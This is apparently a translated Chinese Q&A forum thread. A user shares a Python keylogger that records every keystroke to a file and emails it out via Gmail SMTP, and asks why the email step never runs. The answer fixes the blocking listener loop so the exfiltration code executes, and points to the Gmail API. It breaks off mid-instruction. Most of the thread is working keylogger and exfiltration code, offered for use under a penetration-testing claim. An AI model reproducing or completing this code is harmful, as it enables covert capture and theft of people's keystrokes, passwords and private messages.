我正在尝试使用python创建一个简单的键盘记录程序(出于合法渗透测试的目的),但是我无法获取脚本以自动向我发送电子邮件。
如果我将电子邮件代码放在键盘记录程序之后,它将不会向我发送txt文件,我认为这是因为键盘记录程序脚本不断重复自身,而不是确认电子邮件脚本该如何解决?
这是脚本:
from pynput.keyboard import Key, Listener
import smtplib
import logging
import smtplib
log_dir = ""
logging.basicConfig(filename=(log_dir + "yourtext.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
email_user = 'EMAIL'
email_password = 'PASSWORD'
email_send = 'EMAIL'
subject = 'logger'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'your text'
msg.attach(MIMEText(body,'plain'))
filename='yourtext.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login('EMAIL','PASSWORD')
server.sendmail(email_user,email_send,text)
server.quit()
答案 0 :(得分:0)
因此,首先,您没有在侦听器调用开始时添加任何中断,因此您的程序陷入了该循环,没有任何条件可得出。
尝试在下面的代码中添加断点
with Listener(on_press=on_press) as listener:
listener.join()
您可以添加特定字符作为断点,也可以添加某些行作为断点。
如果您的邮件发送代码无法正常工作,请尝试使用Gmail API。 Gmail API Docs
根据以下代码修改文件:
def on_press(key):
logging.info(str(key))
def on_release(key):
logging.info('{0} release'.format(key))
if key == Key.caps_lock:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
您可以找到有关上述代码here
的更多信息如果您无法接收邮件,则可能是因为您尚未启用POP / IMAP。请按照以下步骤操作: